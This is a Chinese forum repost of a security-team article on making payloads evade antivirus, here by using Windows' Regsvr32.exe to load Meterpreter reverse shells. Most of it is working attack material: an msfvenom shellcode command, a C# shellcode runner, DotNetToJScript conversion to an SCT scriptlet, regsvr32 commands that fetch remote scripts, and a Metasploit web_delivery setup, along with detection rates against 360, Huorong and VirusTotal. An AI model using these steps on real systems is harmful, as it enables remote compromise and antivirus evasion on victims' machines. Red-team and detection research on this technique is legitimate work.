本帖最后由 Thuranna 于 2020-3-8 00:55 编辑
转载自微信公众号:Tide安全团队 作者:重剑无锋
声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担! 免杀能力一览表几点说明: 1、表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。 2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。 3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)。 4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为杀软查杀能力或免杀能力的判断指标。 5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。 6、由于白名单程序加载payload的免杀测试需要杀软的行为检测才合理,静态查杀payload或者查杀白名单程序都没有任何意义,所以这里对白名单程序的免杀效果不做评判。
一、Regsvr32.exe介绍Regsvr32是一个命令行实用程序,用于注册和取消注册OLE控件,例如Windows注册表中的DLL和ActiveX控件,以命令行方式运行。Regsvr32.exe安装在Windows XP及更高版本的Windows的%systemroot%\System32 文件夹中。当通过regsvr32中注册一个dll文件时,有关与regsvr32关联的程序的信息将会被添加到Windows中,然后访问这些进程查看器以了解程序数据的位置以及如何与程序数据进行交互。在注册一个dll文件时,会将信息添加到目录中,以便Windows可以使用它。通常,除了注册和注销dll文件外,此文件不常用。 Regsvr32.exe加载payload网上有多种姿势,但通过了解其原理,其实都是使用同一个JScript代码,只不过里面执行了不同的命令而已。Regsvr32已经被各大杀软盯的比较紧了,而且JScript代码模板也都被列入黑名单了,所以想做免杀就比较难了。 二、Regsvr32.exe使用Regsvr32.exe分32位和64位,在windows系统中的位置 - 64位:C:\WINDOWS\SysWOW64\regsvr32.exe
- 32位:C:\WINDOWS\system32\regsvr32.exe
复制代码执行本地脚本 - regsvr32.exe /s /u /i:file.sct scrobj.dll
复制代码 加载远程脚本执行
- regsvr32.exe /s /u /i:http://reverse-tcp.xyz/file.sct scrobj.dll
- regsvr32.exe /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
复制代码
攻击者可以利用ActiveX并将自定义的Vb或JS嵌入在XML文件中,以进行任何类型的攻击,该文件可能是任意后缀名。 参数说明:- Regsvr32 [/n] [/i[:cmdline]] dllname
复制代码 /u - 卸载已安装的控件或DLL文件 /i - 调用DllInstall带有可选参数[cmdline],第一个参数值为TRUE;当和/u一起使用时调用DllInstall,带有可选参数[cmdline],第一个参数值为FALSE. /n - 不调用DllRegisterServer或DllUnregisterServer;该参数必须和/i一起使用; 如果没有/n,则/i在调用DllInstall时还调用了DllRegisterServer或DllUnregisterServer /s – 静默模式;不显示对话框(Windows XP和Windows Vista中新增选项) 但要注意,如果目前目录和预设系统目录(C:\windows, C:\windows\system32)都有名为 foo.dll 的档案,那么,regsvr32 只会用系统目录下的档案,而不会用目前目录下的档案。解决办法是加上全路径,例如 c:\temp\foo.dll;或是使用下面语法:regsvr32 .\foo.dll。 三、使用Regsvr32.exe执行payload3.1 远程加载SCT文件(VT免杀率22/58)首先需要生成sct文件,这个和《远控免杀专题(38)-白名单Rundll32.exe执行payload》文章中的“3.1 远程加载SCT文件”基本一致。我这就简单描述一下。 1、首先用msfvenom生成基于csharp的shellcode,我这是生成的x86的,注意这个要和后面rundll32的版本相一致。- msfvenom -p windows/meterpreter/reverse_tcp -a x86 -f csharp -b "\x00\xff" LHOST=10.211.55.2 LPORT=3333 -o shell_x86.csharp
复制代码 2、然后在vs2017中创建C#的Console工程,.Net版本建议2.0,这样兼容性好一些,如果选了net 4.0。其他电脑上没有装4.0的话可能就没法运行了。 代码如下,把shell_x86.csharp内容放到相应MsfPayload位置。- using System;
- using System.Threading;
- using System.Runtime.InteropServices;
- namespace MSFWrapper
- {
- public class Program
- {
- public Program()
- {
- RunMSF();
- }
- public static void RunMSF()
- {
- byte[] MsfPayload = {
- 0xbb,---shellcode here---0x1e };
- IntPtr returnAddr = VirtualAlloc((IntPtr)0, (uint)Math.Max(MsfPayload.Length, 0x1000), 0x3000, 0x40);
- Marshal.Copy(MsfPayload, 0, returnAddr, MsfPayload.Length);
- CreateThread((IntPtr)0, 0, returnAddr, (IntPtr)0, 0, (IntPtr)0);
- Thread.Sleep(2000);
- }
- public static void Main()
- {
- }
- [DllImport("kernel32.dll")]
- public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
- [DllImport("kernel32.dll")]
- public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
- }
- }
复制代码 修改一下项目属性,设置启动对象为MSFWrapper,编译生成exe,我这生成的就是默认的ConsoleApp2.exe 3、将exe转换为脚本文件
将上面生成的ConsoleApp2.exe复制到DotNetToJScript目录下,执行命令生成msf_x86.sct文件- DotNetToJScript.exe -m -o=msf_x86.sct -c=MSFWrapper.Program -v 4 -d ConsoleApp2.exe
复制代码 4、这时需要对sct文件做一些处理,把头部和尾部替换成下面的JScript代码 - <?XML version="1.0"?>
- <scriptlet>
- <registration
- progid="PoC"
- classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
- <script language="JScript">
- <![CDATA[
- // calc.exe should launch, this could be any arbitrary code.
- // What you are hoping to catch is the cmdline, modloads, or network connections, or any variation
- var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
-
- ]]>
- </script>
- </registration>
- </scriptlet>
复制代码原始是这样的 替换后为这样的 注意尾部代码也要替换。 在msf中监听 然后在测试机执行- C:\WINDOWS\SysWOW64\regsvr32.exe /s /n /u /i:http://10.211.55.2/msf_x86.sct scrobj.dll
复制代码 如果发现执行后msf上线然后马上就掉了,可以试一下去掉/s参数。- C:\WINDOWS\SysWOW64\regsvr32.exe /n /u /i:http://10.211.55.2/msf_x86.sct scrobj.dll
复制代码 发现360和火绒的行为检测都会预警
放行后msf正常上线
virustotal.com上msf_x86.sct文件查杀率为22/58,和专题38一样。
尝试了下对上面的JScript代码进行查杀测试
好吧,这样没有任何危害的代码都是16/57
3.2 Msf的Web分发(VT免杀率18/58)
metasploit也提供了快速直接使用Regsvr32加载payload的模块,借助于该模块Regsvr32能够运行.sct文件,然后在其中执行包含PowerShell命令。两个Web请求(即.sct文件和PowerShell下载/执行)都可以在同一端口上执行。“PSH(Binary)”会将文件写入到硬盘中,允许自定义二进制文件被下载和执行。 在msf中使用use exploit/multi/script/web_delivery,然后执行info查看该模块可使用的targets。 选择3,然后设置服务器地址,注意这里的payload设置,如果测试机是x64的那么payload也要设置x64位。- use exploit/multi/script/web_delivery
- msf5 exploit(multi/script/web_delivery) > set target 3
- msf5 exploit(multi/script/web_delivery) > set payload windows/x64/meterpreter/reverse_tcp
- msf5 exploit(multi/script/web_delivery) > set SRVHOST 10.211.55.2
- msf5 exploit(multi/script/web_delivery) > set lhost 10.211.55.2
- msf5 exploit(multi/script/web_delivery) > exploit
复制代码 在测试机执行上图中的命令- regsvr32 /s /n /u /i:http://10.211.55.2:8080/hHC96MJdUcF.sct scrobj.dll
复制代码 发现360和火绒都会行为预警 放行后msf可上线
看一下hHC96MJdUcF.sct文件内容,可以发现和方法1其实一样,只不过是执行了一个powershell命令,下载执行payload。
virustotal.com上hHC96MJdUcF.sct文件查杀率为18/58,因为里面只有一句powershell,所以比上面的法1还好一些。不过里面执行的powershell一般很难过杀软的行为检测的。
在metasploit的之前版本中,还有个windows/misc/regsvr32_applocker_bypass_server模块,也可以直接生成regsvr32的加载payload,不过新版本已经去掉该模块了。我尝试用了下那个模块,其实和这里的效果一样,而且没有进行编码加密处理。所以用这里的方法就可以的了。
四、参考资料 |